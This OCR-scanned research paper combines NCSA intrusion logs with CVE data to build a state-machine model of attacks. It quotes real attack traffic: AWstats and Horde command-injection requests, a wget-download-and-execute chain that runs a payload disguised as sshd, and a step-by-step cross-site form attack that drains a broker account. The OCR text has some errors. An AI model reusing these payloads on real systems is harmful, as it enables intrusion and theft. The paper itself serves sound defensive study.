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Abstract
Analysis of network security attacks helps us understand characteristics of application vulnerabilities, 
intrusion detections techniques and attacker behavior patterns established. Intrusion detection tools and 
signature-based approaches used in practice are helpful in detecting known attacks but are not as efficient 
when a new vulnerability is being exploited. Anomaly-based approaches are sometimes able to detect 
unknown attacks but at the cost of false alarms. Hence there is the need for human expertise intervention in 
attack investigation. Today, most of this investigative analysis is done more or less manually. It is our aim to 
propose a measurement based model to provide joint insight into attack patterns and associated vulnerability 
exploitation. This paper describes a novel approach that combines both vulnerability data from Mitre CVE 
(Common Vulnerabilities and Exposures) vulnerability database, and attack data from nearly 5000 hosts at 
National Center for Supercomputing Application (NCSA) located at Illinois, to create an attack model with 
sufficient details to assist identification of system compromises. Real data is scrutinized to find attack flow 
patters, which give more insight into strategies adopted by the elite attacker community today. Motivated by 
these findings, we create a model to capture the relationships between vulnerability exploitation and attack 
flow.

Keyword: vulnerability, attack, real data, classification, model.

1. Introduction

While a plethora of techniques to protect against a myriad of attacks are available, there is relatively 

little data to quantify attack scenarios, especially in a joint fashion with the associated 

vulnerabilities. Measurement-based comprehensive assessment, starting with discovery of attacks 

and ending with evaluation of the compromise severity, has not been well explored.

The current methods used in practice for identifying attacks and attack sources, and compromise 

assessment, substantially combine online measurements with human expertise. These processes, 

while somewhat slow and inefficient, offer a unique opportunity for developing a real-life 

understanding and analysis. National organizations like NCSA (National Center for 

Supercomputing Applications), which are accessed by large number of users (local, national, and 

international) and constantly under attack, collect a wide variety of data on attack activity. Due to 

the fact that they use many different types of machines and applications, this serves as the 

invaluable source of our study data. Many vendors measure and maintain their own databases of
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attacks and provide timely patches for the vulnerabilities detected. Typically, this information is not 

public and is geared to maintain vendor specific systems. Their analysis is naturally proprietary.

The NCSA has been meticulously working towards setting up their systems to collect intrusion alert, 

surveillance, and compromise detection information. This information combined with the additional 

insight provided by the human experts (who perform both online and offline analysis) presents a 

unique opportunity to conduct a comprehensive study. This data, when combined with publicly 

available data on known vulnerabilities, allows the overall modeling of an attack from inception to 

system compromise. The methodology developed provides two levels of insights.

Attack-flow analysis and attack-model generation. The attack measurement and joint 

attack/vulnerability analysis approach consists of two steps: (a) separate analysis of the attack 

patterns resulting in a model built with the help of the NCSA security team, (b) analysis of the CVE 

data to relate the vulnerabilities to the consequent compromises. Combining these two information 

sources, the event patterns pertinent to an attack are abstracted into an attack model with sufficient 

detail to assist in identification of system compromises. For example, in many cases, after 

compromising the machine, an attacker must download and install additional tools to cause actual 

damage to the system. Consequently, if the attack can be detected during, for example, the abnormal 

tool downloading stage (e.g., a file downloading without a user-controlled tty session), then the 

attack can be foiled and any potential loss of information or resources can be minimized. In each 

case, the steps from the start of an attack to the compromise stage are depicted as a finite state 

machine model.

Extension of the attack-model to a large set of vulnerabilities. The attack models derived from 

detailed analysis of a relatively small number of real attacks can be extended to depict a large set of 

vulnerabilities. We make two observations, which enable extending the attack model:

(i) common/similar consequences o f attacks (impacts) exploiting same category of vulnerabilities -  

attacks exploiting vulnerabilities of a given category can be mapped into a relatively small set of 

consequences observed at the system and/or application levels. For example, most buffer-overflow 

vulnerabilities exploited lead to either a denial of service or an arbitrary binary code execution.

(ii) common/similar attack-flow patterns for attacks causing the same type of consequences to the 

victim system -  the post-exploitation machine manipulation by attackers is correlated to the type of 

impact the attack has on the system and/or application. For example, if an attack (regardless what
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vulnerability is exploited) leads to an arbitrary command being executed, the attacker may often 

issue a well-defined set of commands such as “ps”, “uname”, “w” without a user-controlled tty 

session. This creates an opportunity for early detection of an intruder.

2. Related Work

Classification and statistical analysis of security vulnerabilities. Aslam et al. [1] use a decision 

tree for classification of vulnerabilities. Whalen et al. [2] design a grammar to express network 

protocol exploits and classify protocol vulnerabilities using the grammar. Empirical category 

classifications, like [5] [13] and the Bugtraq classification, are also available and frequently used. 
Krsul [4] provides a good summary of a number of classification techniques, including an impact- 

based classification which partitions vulnerabilities according to the attack consequence, or impact, 

resulting from vulnerability exploitation. Teipenyuk et al [14] also develop an impact-based 

taxonomy of vulnerabilities. Berghe et al. [3] classify vulnerabilities associated with web service 

and also conduct a correlation study. There are a number of sources for vulnerability data such as 

CERT [9], CVE [ 10][ 11 ], and Bugtraq [12]. These sources are widely used for analyzing 

vulnerabilities in various viewpoints. For example, Bugtraq data are used in [3] [5]. Example 

vulnerabilities are used for evaluating classification techniques in [4] [13].

Analysis of attack data. In addition to vulnerability classification, attack classification/clustering is 

also proposed to analyze attacks [6] [8]. For example, Cohen lists 94 types of attacks and 140 types 
of defenses in [6]. Sung et al. [16] perform a thorough statistical analysis of real traffic data on a 

single denial-of-service attack on a server at Georgia Institute of Technology. Data mining 

techniques have been used by several authors to analyze traffic data during attack. This approach is 

the basis for several intrusion detection schemes, e.g. a rule mining mechanism [17], policy-based 

analysis in Bro (three levels for specifying/enforcing a policy: packet-event-policy) [18], and 

statistical methods for atypical behavior extraction in IDES [19]. These approaches apply 

probabilistic mechanisms for characterizing attack traffic data.

Honeypots have been frequently employed for analyzing real attack data [20]. Cukier et al [7] 

collect attack data for a two-node honey-net over 109 days, and analyze the data with the goal to 

find traffic characteristics to separate attacks into different clusters. McGrew et al [21] present an 

analysis of attack data obtained through a honeypot.

Modeling vulnerabilities/attacks. Using real data from CERT and Bugtraq, Chen et al [5] develop a 

finite state machine-based model for modeling vulnerability exploitation in the code level. Giffin 

[22] performs static analysis of the binary code of a program for modeling system calls and data
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flows with objective to detect vulnerability exploitation. Ramakrishnan et al [27] develop a 

vulnerability model in the level of system components, using as a rule-based specification language 

for vulnerability discovery via formal reasoning.

Ruiu [23] divides the entire process of a typical attack into 7 phases: reconnaissance, vulnerability 

identification, penetration, control, embedding, data extraction/modification, and attack relay. This 

phase division is derived from inherent attack logic.

Other formal models of attacks include an attack tree model (with a specification language) [24], a 

Petri-net model for misuse in attacks [25], and a model capturing protocol attacks involving 

multiple nodes [26]. They all focus on theoretical study of model properties.

3. Data Sources

Analysis reported in this paper is based on two primary data sources.

Real attack databases are obtained from:

(1) data collected by the on-line instrumentation supported by the NCSA Security team. The data is 

collected from over nearly 5000 machines including four computer clusters, mail servers, web 

servers, and other production machines. They run a range of operating systems and processor 

technologies. The machines are attacked constantly and, based on the last year’s data, have 

approximately one real compromise per week. NCSA has security professionals who have 

significant experience in identifying/assessing compromises, both on- and off-line. As outlined in 

Table 1, a range of tools and mechanisms are employed for monitoring runtime environments and 

providing data for the analysis.

(2) Publicly available data which include security reports provided by security 

companies/communities, e.g. ISecurityPartner (http://www.isecpartners.com), TippingPoint 

(http://www.tippingpoint.com) and SecurityFocus (http://www.securityfocus.com).

Figure 1 shows a snippet of Netflow logs for analysis of an Awstats1 attack (irrelevant records are 

excluded from the figure, indicated as “...” in Figure 1). The snippet shows four actions of an 

attacker: scan, simple test/environment check, code downloading, and machine use. The first log 

fragment shows the network scan traffic for establishing a connection from the attacker machine 

(219.xxx.xx.xx, the real IP address is not disclosed for privacy reasons) to the target machine

1 AWstats is a free tool for analyzing and reporting data from internet service. It parses and analyzes server log files and 
produce visual reports on internet service activities.
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(141.xxx.xx.xx). During the scan, the attacker (actually the attack script) tries four paths for locating 

a specific file (awstats.pl) to check if the Awstats toolkit is installed on the target machine. After the 

script determines that the toolkit exists on the machine, the human sends simple commands to test 

the vulnerability exploitation and check if a user is currently working on the machine (the command 

“w”). Then the attacker downloads a file l.tgz from the machine 81.xxx.xx.xx onto the victim 

machine through an HTTP GET request (the “wgef ’ command is not logged by Netflow, which logs 

network traffic), as shown in the fragment 3. The last fragment in Figure 1 depicts how the attacker 

uses the machine. In particular, we see that the attacker removes the file l.tgz to hide the footprint 

of the attack.

Table 1: Data sources for attack analysis in NCSA
Data source Description

Cisco Netflow [15] Monitors unidirectional packet streams between a source and destination (<IP, port> pairs).
Argus[28] Similar to Cisco Netflows, but for bidirectional streams.
Bro [18] Network-based intrusion detection system. Monitors multiple services including ftp, http, 

alarm, prof, etc.
UNIX Syslog Standard UNIX logging. Records activities of users and services.
ModLogSpread An Apache module for web logging. Collects access and error logs for all of web servers 

managed, including HTTP request and response headers.
Tripwire [29] A toolkit for reporting file system anomalies.
Dialup Log Logs dialup connections, including call ID, user ID, source phone number, etc.
DHCP Log Logs DHCP requests.
ARP table Records the mapping table for address resolution protocol (ARP).
LaBrea [30] Takes over unused IP addresses on a network and creates "virtual machines" that answer to 

connection attempts.

destination node of the connection

scan

source node of the coqjTection

Mar 11 16:07:55 %16478 start 219.xxx.xx.xx > 141.xxx.xx.xx
Mar 11 16:07:55 %16478 GET //cgi-bin/awstats.pl?configdir=| id | (404 "Not Found” [290])
Mar 11 16:08:00 %16478 GET //awstats/awstats.pl (200 "OK” [740])
Mar 11 16:08:01 %16478 GET //stat-cgi/awstats.pl (404 "Not Found" [291 ])
Mar 11 16:08:01 %16478 GET //cp/awstats/awstats.pl (404 "Not Found" [293])

Mar 11 16:08:26 %16478 GET //awstats/awstats.pl?configdir=|echo ;echo b_exp;w;echo e_exp;%00 <no reply> T  Simple exploit test and
environment check

Mar11 16:09:05 %16797 start 141.xxx.xx.xx > 81.xxx.xx.xx ->
Mar 11 16 09 06 %16797 g e t  /1 tgz (200 "OK" [10883]) /  download attack script (initiated by the victim machine)

Mar 11 16:09:30 %16478 GET //awstats/awstats.pl?configdir=|echo ;echo b_exp;uname -a;echo e_exp;%00 (200 "OK" [655])
Mar 11 16:09:41 %16478 GET //awstats/awstats.pl?configdir=|echo ¡echo b_exp;cd /home;ls;echo e_exp;%00 (200 "OK" [656])
Mar 11 16:14:39 %16478 GET //awstats/awstats.pl?configdir=|echo ¡echo b_exp;cd /tmp;rm -rf 1 tgz miro;echo e_exp;%00 (200 "OK" [505])

machine use

Figure 1: Snippet of real data in attack database

The Vulnerability database employed in our study is Common Vulnerabilities and Exposures 

(CVE) [11]. This is an indexed dictionary that contains references to data across separate 

vulnerability databases, which are provided by different sources including the security community 

(e.g. BUGTRAQ [12]), government-funded organizations (e.g. CERT [9]), and enterprises (e.g. 

IBM, HP, Microsoft, Redhat). As of November 1, 2006, the CVE contained 20,074 unique security 

vulnerabilities. Although the abundant information provided in the CVE database enables in-depth
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and multi-aspect studies of vulnerabilities, the large number of these and other relevant details make 

analysis of the database a challenge.

©

©

CVE-
2006-
1293

Cross-site scripting (XSS) vulnerability in index.php in Contrexx CMS 1.0.8 and earlier allows remote a ttacke rs to  in jec t arbitrary web
scnpt or HTML via the query stnnq (PHP_SELF).

CVE-
2006-
1294

PHP remote file include Vulnerability in PageController.php|in KnowledgebasePublisher 1.2 allows remote a ttackers to  include and 
execute arb itra ry PHP code|via a URL in tne dir param eter. |

CVE-
2006-
1295

Cross-site scrip ting (XSS) vulnerability in recherche.php3 in SPIP 1.8 .2 -g  allows remote attackers to  in jec t arb itrary web scrip t or
HTML via the recherche parameter.

CVE-
2006-
1296

Untrusted search path vulnerability |n Beagle 0.2.2 .1 m ight allow local users to  gain privileges via a malicious beagle-in fo program in
the cu rren t working d irectory, or possibly directories specified in the PATH.

CVE-
2006-
1297

Unspecified vulnerability  in Veritas Backup Exec for Windows Server Remote Agent 9.1 through 10.1, for Netware Servers and Remote 
Agent 9.1 and 9.2, and Remote Agent for Linux Servers 10.0 and 10.1 allow a ttackers to  cause a denial o f service (application crash 
or unavailability) due to  "memory errors.”

CVE-
2006-
1298

Format string vulnerability |in  the Job Engine service (bengm e.exe) in the Media Server in Ventas Backup Exec lOd (10.1) for Windows 
Servers rev. 5629, Backup Exec 10.0 for Windows Servers rev. 5S20, Backup Exec 10.0 fo r Windows Servers rev. 5484, and Backup 
Exec 9.1 for Windows Servers rev. 4691, when the jo b  log mode is Full Detailed (aka Full Details), allows remote authentica ted users 
to  cause a denial o f service and possibly execute arb itra ry code via a c ra fted  filename on a machine th a t is backed up by Backup 
Exec.

CVE-
2006-
1300

M icrosoft .NET framework 2.0 (ASP.NET) in M icrosoft Windows 2000 SP4, XP SP1 and SP2, and Server 2003 up to  SP1 allows remote 
a ttackers to  bypass access restric tion^ via unspecified "URL paths’l th a t  can access Application Folder ob jects ' explicitly by name."

CVE-
2006-
1301

M icrosoft Excel 2000 through 2004 allows user-assisted a ttackers to  execute arb itra ry code via a .xls file w ith  a c ra fted  SELECTION 
record th a t triggers fnem ory corruption^ a d iffe rent vulnerability than CVE-2006-1302.

, nr)fi [Butter overttow jin M icrosoft Excel 2000 through 2003 allows user-assisted a ttacke rs to  execute arb itra ry code via a .xls file w ith  
1302 cer^a'n c ra fted  fields in a SELECTION record, which triggers memory corruption, aka "Malformed SELECTION record Vulnerability."

Figure 2: Snippet of real data in vulnerability database

As CVE aims to provide a dictionary of security vulnerabilities, the CVE committee makes efforts 

to merge duplicate reports of the same vulnerability from multiple sources and convert vulnerability 

description into a uniform format. The database interface makes it easy to search the database using 

keywords. We extracted descriptions of vulnerabilities from separate web pages and aggregated 

them into a file. Figure 2 lists a fragment of this file, where index and description of vulnerabilities 

are listed. The description contains information of target applications, vulnerability type, direct 

impact of exploiting the vulnerability, and how the exploitation is performed in attacks.

In Figure 2 information marked by rectangles is used for classifying the vulnerabilities, e.g., 1 and 3 

are cross-site scripting vulnerabilities. The underlined text, in Figure 2, indicates information used 

for classifying impacts of exploiting the vulnerabilities, e.g., vulnerabilities marked as 1, 2, 3 lead to 

arbitrary execution of scripts/HTML.

4. Attack Analysis

This section presents two case studies of real attacks to illustrate the patterns corresponding to the 

attack.

4.1 PHP Horde Attack
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The PHP Horde2 attack exploits an input-parameter-validation vulnerability (incident CVE-2006- 

1491 in the CVE vulnerability database): the help viewer of the Horde application framework 3.0 

and 3.1, invoked by “Horde/services/help/”, receives a parameter “module” and delivers the 

parameter to the eval() call without validating the syntax of the parameter. Arbitrary PHP script 

code can be injected and executed by exploiting the vulnerability.

Figure 3 depicts the timeline of the PHP Horde attack for a single victim machine, and Figure 4 

illustrates the request/response communication during the attack. The detailed steps are summarized 

in Figure 5.

In this case the attacker did not explicitly remove the downloaded malicious code asd.tgz. However, 

as the file was downloaded into /imp, which is emptied whenever the machine is rebooted/shutdown, 

the attack footprint is removed after the machine reboots.

In this attack case, the impact resulting from the vulnerability exploitation is arbitrary execution of 

PHP script code. Our conjecture is that any attack which results in arbitrary execution of PHP code 

is likely to follow the same pattern of events/steps as identified in this example.

Scan Scan 
starts success

\Z
Send test Receive Send 
exploit response commands 
request /

0:00:00 0:28:48 0:57:36 1:26:24 1:55:12 2:24:00 2:52:48 3:21:36 Time (h:m:s)

Figure 3: The timeline of the PHP Horde attack for a single victim machine
Attacker Target Machine Attacker Target Machine

“GET //README”

GET /horde-3.0.9//README

“GET /horde3//R E ADM E”

“GET /Horde//README”

"404 Not Found”

“GET /horde//READ^E”

“GET //horde//services/help/?s ow=about&module=;” .passthru(”ps x”);'.”

“200 OK”

“GET //horde//services/help/?s ow=about&module=;” .passthru(”w”);’.”

No response

G ET //horde//services/help/?stow=about&module=;*.passthru(’ cd '

“GET //horde//services/help/?s ow=about&module=;” .passthru(”'.chr(47). 
's b ir f |x h r (4 7 )£ ifc ^  t”);'."

(a) scanning (b) exploiting

Figure 4: Scanning and vulnerability exploiting in the PHP Horde attack for a single machine

2 Horde is a web application framework widely used by webmail programs (e.g. IMP), calendar utilities (e.g. Kronolith), 
address book management utilities (e.g. Turba), and many other web applications (e.g. Mnemo, a group-sharing notepad 
application).
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1. An attack script scans the victim computer by sending varied HTTP GET requests (GET is a standard HTTP method for requesting a 
web file and is part of the HTTP protocol) to check existence of the vulnerable Horde application framework, as shown in Figure 4 (a) (the 
scan for the victim machine starts at 00:16:21, Sep 9);
2. The attack script receives positive response from the victim computer (the scan succeeds for this machine) (00:17:00);
3. The attack script records the success and the victim machine IP address, and continues scanning other machines and networks;
4. Some time later (presumably when the scan of other machines/networks finishes), the attacker reads the record, and sends a request 
to the victim machine to test if the Horde application framework has not been patched and the vulnerability still can be exploited 
(02:35:33)
Since the vulnerability allows executing an arbitrary command through PHP code, the attacker first tries two simple tests by sending the 
following commands to the victim machine via HTTP requests (the command sent is enclosed in the passthruQ in Figure 4 (b));
“p sx ” "tv”
The attacker’s goals are:
(i) To test if the vulnerability can be exploited. A simple command is usually used for such a test because the success of a complicated 
command may require knowledge about the specific system environment, and its failure does not necessarily mean the exploitation is 
futile.
(ii) To get familiar with the target machine environment. Typically an attacker, who comes to a new environment, first tries to get familiar 
with it before doing anything really meaningful. Here the environment includes both system hardware/software and human activity on the 
system. In this example, the attacker first tries to see what services are running on the system (“ps x” lists all applications without 
controlling ttys, i.e. user terminals), and then to see whether there are users currently working on the machine (“w” shows who is logged 
on and what they are doing).
5. From these two tests the attacker confirms (1) the vulnerability could be exploited, and (2) nobody is logged to the machine (“no 
response" in Figure 4(b)), in order to actually exploit the system. The attacker constructs a new request which carries a sequence of 
commands as given below (the third request in Figure 4 (b), where part of the request is shown), and sends the request to the victim 
machine (02:41:59):
“cd/tmp ;wget gabryel.lydo.org/asd.tgz ;tarzxfv asd.tgz ;cd .asd ;cp linux /var/tmp/sshd ;/var/tmp/sshd; /var/tmp/sshd ”
The command sequence issued by the intruder performs tasks as follows (i) download a malicious code (asd.tgz) into a writable directory 
(/tmp), (ii) unbundle the code, and (iii) deploy the code into a writable directory (/var/tmp) and execute the code (note that the code is 
renamed to sshdto hide itself). In this example, the operations actually executed by the downloaded code are still unknown. After starting 
the execution of the malicious code, the attacker issued a command 7sbin/ifconfig ¡grep ¡net' to get the IP information of the victim 
machine. The purpose of this command is also elusive to us.

Figure 5: steps of the PHP Horde Attack

4.2 A Phishing Attack

Phishing attacks are becoming more severe with the growing popularity of web applications. This 

real case of phishing attack is disclosed by ISecPartners company [31]. The attack procedure is 

listed in Figure 6.

In this attack a security vulnerability of the browser is exploited: the browser submits the broker-site 

cookie with forms created in a page from another website. Though psychology-based cheating is 

employed in the real attack case, there are lots of security vulnerabilities that enable injecting 

arbitrary web scripts or HTML onto a server page, especially for the web 2.0 applications (blog, 

wiki, personal space, etc.). For example, multiple cross-site scripting vulnerabilities in sBLOG 0.7.1 

(Beta) and earlier versions allow remote attackers to inject arbitrary web script or HTML via the p 

and keyword parameters in the home page and the search page (CVE-2006-0101). After exploiting 

this vulnerability, the attacker is able to execute arbitrary web script/HTML, and of course, is able 

to follow the attack steps listed in this section.
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1. The attacker set up a webpage “cybervillians.com/news.htmr’ that consists of an article on stock analysis as well as malicious web scripts and HTML;
2. The attacker posted a message on a stock message board at finance.yahoo.com, and the message recommends a good article on stock analysis 
and points to the webpage crafted in step 1;
3. The victim, monitoring his stock positions on a broker website, reads the message on the stock message board at finance.yahoo.com;
4. The victim clicks the link in the message. The crafted webpage is loaded and the victim begins to read the article;
5. When the webpage is loaded, the malicious web scripts and HTML code create 5 hidden web frames, each frame populated with HTML forms;
6. The HTML forms are filled with values to perform the following tasks:
(1) turn off email notification which is issued by the broker website when an account transaction or modification is performed;
(2) add a new checking account (i.e. the attacker’s bank account) to the victim’s stock account;
(3) transfer $5000 from the victim’s stock account into the new checking account;
(4) delete the checking account from the victim’s stock account;
(5) turn on email notification
Values in the HTML forms are guessed according to the attacker’s own experience of using the broker website;
7. A Javascript controls the submissions of these forms in order, one after another with a delay of one second between consecutive submissions. The 
forms are submitted to the broker website with the authentication cookie as the victim is still in an active session on the broker website;
8. A few minutes later, all the transactions are completed. Then the victim finishes reading the article and leaves the crafted webpage.

Figure 6: steps of the Phishing Attack

Due to space limitation, in this section we present two example attacks selected from a larger 

number of real attack cases obtained from NCSA data. Overarching observation is that: 

common/similar attack-flow patterns are taken for attacks causing the same type o f consequences to 

the victim system.

5. Categorization of vulnerabilities and impacts (attack consequences)

This section studies the classification of vulnerabilities and impacts to establish mapping or 

correlation between different classes of vulnerabilities and expected impact of attacks which exploit 

the vulnerabilities.

5.1 Classification of Vulnerabilities

The total of 19,097 vulnerabilities reported in the CVE database between 1999 and August, 2006 

are studied. As proportions of different categories of vulnerabilities change with time, this paper 

presents the analysis result for the 4,497 vulnerabilities between January and August, 2006. We 

classify these vulnerabilities into nine categories listed in Table 2.

Other studies also report on vulnerability classification, e.g. [4][5]. Our breakdown is different in 

two aspects: (1) it differentiates the vulnerability categories by the context of program execution, 

and (ii) it tries to correlate the vulnerability to potential consequence of an attack. For example, 

though three of the vulnerability categories listed in Table 2, SQL injection, cross-site scripting, and 

insufficient parameter input validation, are due to insufficient check of parameter value/syntax, the 

types of unchecked parameters are different. For the three categories, the involved parameters are 

SQL command parameter (for SQL injection), web script/HTML parameter for cross-site attack (for
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cross-site scripting), and packet payload field /file format/data structure field/HTML parameter for 

service attack (for insufficient parameter input validation).

Table 2: Classification of vulnerabilities
Vulnerability

category
Description

Buffer overflow Memory beyond a buffer boundary is filled with input data.
Integer overflow Integer representation in computer is overflowed during integer arithmetic operations.
Format string Use of unfiltered user input as the format string in certain C functions that perform 

formatting (like printfO).
Race condition Synchronization is not ensured in cases that different execution orders of threads bring 

inconsistent results.
SQL injection SQL commands or invalid SQL parameters are injected into an SQL command for execution
Cross-site scripting A category of vulnerability, typically found in web applications, that allows malicious users 

to inject code into web pages viewed by other users.
Insufficient parameter 
input validation

Parameter values provided by user input are not sufficiently validated.

Design/config error Application specific design errors and configuration errors, as well as implementation bugs.
Unknown The vulnerability is not clearly understood.

11%

□ Buffer Overflow ■ Integer Overflow
□ Format string □ Race condition
■ SQL injection □ Cross-site scripting
■ Insufficient parameter input validation □ Design/config error
■ Unknown

Figure 7: Classification of 4497 vulnerabilities in CVE 
database (Jan. 2006 -  Aug. 2006)

D Denial of service ■  Exec arbitrary binary code □  Exec arbitrary shel cmd
□  Exec arbitrary script/htrrt code ■  Exec arbitrary SQL □  Overw rite arbitrary fie
■  Rivilege violation □  Unknown ■  Mscellaneous

Figure 8: Classification of impacts due to exploiting 
vulnerabilities in Figure 7

Table 3: Classification of impacts caused by vulnerability exploitation
Impact category Description

Denial of service The system crashes/hangs, or the service performance is largely degraded.
Exec arbitrary binary 
code

Arbitrary instruction code can be injected into the system for execution.

Exec arbitrary shell 
cmd

Arbitrary shell commands can be injected into the system for execution.

Exec arbitrary web 
script/ html

Arbitrary web script/HTML code can be injected into the system for execution.

Exec arbitrary SQL 
cmd

Arbitrary SQL commands can be injected into the system for execution.

Overwrite arbitrary file Arbitrary files can be created/ overwritten with some data content (but the content can not be 
arbitrarily provided by the attacker).

Privilege violation Operations can be performed with privilege check/enforcement bypassed. Includes 
information leaking, unauthorized access, privilege abuse,

Unknown The impact of vulnerability exploitation is unclear.
Miscellaneous Impacts specific to applications and unable to be covered by the categories above.

Most of the categories listed in Table 2 are self-explanatory. The design/config error is a broad

category which covers all vulnerabilities due to errors of application/system design, implementation,

deployment, and configuration. Examples include missing of privilege check, implementation bugs,
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unexpected runtime/workload scenarios, default/trivial user accounts and passwords, type- 

unmatched/malformed data, failure of implementation in enforcing a predefined security goal.

Figure 7 shows the classification of the vulnerabilities reported to CVE database for the studied 

period. According to the figure, most of vulnerabilities fall in categories of design/config error 

(33%), cross-site scripting (22%), SQL injection (14%), and insufficient parameter input validation 

(11%, most of them are related to web service). Note vulnerabilities in these categories are high due 

to the popularity of web services and script/HTML code execution, compared with the classification 

given in [5], where boundary condition error (i.e. buffer overflow) is the largest category.

5.2 Classification of Impacts

Impacts of vulnerability exploitation are classified into nine categories, as shown in Table 3. 

Different impact categories can be associated with different attack flow patterns and different kinds 

of damages/losses. For example, a denial o f service attack usually leads to system crash/hang or 

significant degradation of performance, which makes the system unusable. In contrast, an execute 

arbitrary shell command attack allows the attacker to interact (by issuing commands) with the 

victim machine.

Figure 8 depicts the classification of the impacts of exploiting different vulnerabilities shown in 

Figure 7. Note that sometimes a vulnerability can cause multiple types of impact. Therefore, the 

number of impacts (4789) is slightly larger than the number of vulnerabilities (4497).

Data shows that the most frequent impact resulting from vulnerability exploitation fall in to four 

categories: execution of arbitrary script/HTML (31%), privilege violation (19%), execution of 

arbitrary SQL command (13%), and denial o f service (13%). With a privilege violation, the attacker 

is able to read/write sensitive information, or obtain a privilege not granted to him/her. The 

miscellaneous category (7%) of impact consists of multiple categories with a small number of cases 

in each. Examples include: file hiding, man-in-the-middle attack, easy-to-guess passwords, file 

creation with incorrect permission, preventing security detection tools from working correctly, 

connecting to an arbitrary console, socket hijacking, weakening strength of involved encryption, 

misrepresenting file name and type, and spoofing.

5.3 Correlating categories of vulnerabilities and impacts
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Correlation or mapping between vulnerabilities and exploitation impacts is the key in formulating 

our attack-vulnerability-exploit model. Table 4 lists this correlation/mapping for the vulnerabilities 

and the impacts shown in Figure 7 and Figure 8, respectively.

Table 4: Categories of impacts caused by different categories of vulnerabilities
Vulnerability

category
Impact category

Denial of
service

Exec arb. 
binary 
code

Exec arb. 
shell 
cmd

Exec arb. 
web script/ 

HTML

Exec
arb.
SQL

Overw
rite arb. 

file

Privilege
violation

Unkn
own

Misc Total

Buffer
Overflow

109 299 25 0 0 1 18 11 6 469

Integer
Overflow

25 40 0 0 0 0 1 0 5 71

Format String 19 28 3 0 0 0 0 2 1 53
Race condition 7 3 0 1 0 0 6 0 1 18
SQL injection 1 0 0 2 609 0 3 3 3 621

Cross-site
scripting

2 1 5 949 2 0 15 4 23 1001

Insufficient 
Param. input 

validation

14 18 8 330 2 3 86 0 36 497

Design/config
error

332 94 22 160 3 52 691 11 224 1589

Unknown 111 59 15 9 0 9 101 118 48 470

Total 620 542 78 1451 616 65 921 149 347 4789

Importantly, the table is noticeably sparse. This indicates that there are patterns for vulnerabilities to

cause different types of impacts. We use the dominant patterns to construct the attack model 

described in Section 6. Specifically, it is observed that common/similar consequences of attacks 

(impact) result from exploiting the same category vulnerabilities.

The attack model is built based on the correlation information obtained by analyzing the current 

vulnerability database. As more vulnerabilities and attack methods are added into the database, the 

model evolves and gets expanded for a larger coverage of capturing attacks.

The main patterns observed from Table 4 include:

• The first three rows of the table, buffer overflow, integer overflow, and format string, are 

dominated by impacts resulting in arbitrary binary code execution or in a denial of service. This 

matches common intuition. Nearly 63.8% (299 out of 469) of buffer overflow vulnerabilities 

cause arbitrary binary code execution, and 23.2% (109 out of 469) result in denial o f service. 

The other impact categories are small and it can be argued that each requires an arbitrary code to 

be executed to be successful (e.g. a privilege violation may need also code execution ability). 

The number of arbitrary binary code execution is much larger than that of denial of service,
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because a completely successful exploitation of buffer overflow always leads to a binary code 

execution; however, a partially successful exploit that crashes a single application thread may 

not lead to a full application crash, and the application/system may be able to recover from the 

thread crash. So a failed buffer overflow attack does not necessarily lead to a denial of service. 

Clearly, there is a close coupling between buffer overflow vulnerabilities and the impact of 

executing arbitrary binary code.

• Cross-site scripting and SQL injection vulnerabilities mostly contribute to executing arbitrary 

web script/HTML and arbitrary SQL commands, respectively, which is not surprising.

• A large number of arbitrary script/HTML executions are due to cross-site scripting and 

insufficient parameter input validation vulnerabilities (65.4% and 22.7%, respectively). The 

attack patterns exploiting these two vulnerability categories are different. In the cross-site 

scripting cases a web browser is attacked, while in the insufficient parameter input validation 

cases a web-based server is attacked. The observation is useful in reducing the number of states 

in the model.

• Interestingly, design/config error vulnerabilities are likely to incur privilege violation (691 out 

of 1589, or 43.5%), denial o f service (20.9%), and miscellaneous (14.1%) impacts. Also, 

privilege violations (691 out of 921, or 75.0%) are mostly caused by vulnerabilities in the 

design/config error category, i.e. there is a close coupling between the vulnerability and the 

impact.

This analysis shows the existence of a close coupling between vulnerability and impact/attack 

consequence categories, and justifies the use of this correlation for attack model construction.

6. Attack Model

In this section we combine knowledge based on: (i) attack patterns (identified from the analysis of 

real attacks, see Section 4), and (ii) vulnerability and attack categories (identified from analysis of 

data in CVE database) to derive an attack model (a state machine). Specifically, the model 

construction is based on the two observations we have made: (i) common/similar consequences of 

attacks exploiting same category vulnerabilities; and (ii) common/similar attack-flow patterns for 

attacks causing same type of consequences to the victim system.

From the attack examples analyzed in Section 4, two generic types of attacks: scan based and non

scan based, are identified. In a scan-based attack, the attacker proactively locates the victim
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machine and attacks it, while in a non-scan based attack, the attacker links/posts vulnerability- 

exploiting web pages to public websites (like forums, wikis, boards), distributes a Trojan software 

through the network, or installs sniffer software on a local machine, and then passively waits for a 

victim (or through spam emails/messages). Now we describe how the attack models are created for 

the two kinds of attacks.

6.1 Scan-based attacks

Based on the analysis of the real data we constructed model of scan-based attacks, which consists of 

four phases: (1) scan, (2) vulnerability exploitation, (3) environment setup, and (4) machine use.

Figure 9 shows the attack model for scan-based attacks. The attack model is a state machine. A 

circle in the figure denotes a state of the node. An arrow denotes an event that transitions the node’s 

state. Two properties are associated with an event: the input from outside and the node’s action 

upon the input. The properties of events are attached to the corresponding event arrows in the figure, 

and the two parts are separated by semicolon. In order to avoid complicating the figure, only attack- 

associated events are depicted.

Scan phase. Before an attack, the node performs tasks normally. The node transitions to the being 

scanned state when it receives a request (for port connecting, service, or login) and gives a negative 

response. (If there is no more input from the same source after a sufficiently long period of time, the 

node goes back to normal state.) A positive response of the node to an input request transitions the 

node from being scanned to candidate state, which means that the node has been labeled as a victim 

candidate by the attacker. Note that once a node enters the “candidate” state, it can not return to 

“normal” any more.

Vulnerability exploit phase. The attacker applies the exploit request to the node. The attack fails if 

the target application has been patched to remove the vulnerability (shown as dashed arrows 

“exploitation foiled” in Figure 9). If the exploitation succeeds, the node gives a positive response to 

the attacker, and the node is considered compromised. The patterns of correlation between 

vulnerability categories and impact categories we observe in Section 5.3 are employed for state 

transitions in this phase. For example, a buffer-overflow results in either denial of service or 

arbitrary binary code execution, and hence, there are transitions from candidate state to denial of 

service and arbitrary code execution, respectively, in Figure 9.

- 14-



«connect to a specific port; connection refused> 
«request an app-specific paoe/file; not found»

Figure 9: Attack model for a scan-based attack

Experiment setup phase. As the first successful exploitation provides limited power in 

manipulating the victim node (in most attacks the first successful exploitation is a test and performs 

a task without harming the machine), the attacker needs more powerful tools to facilitate use of the 

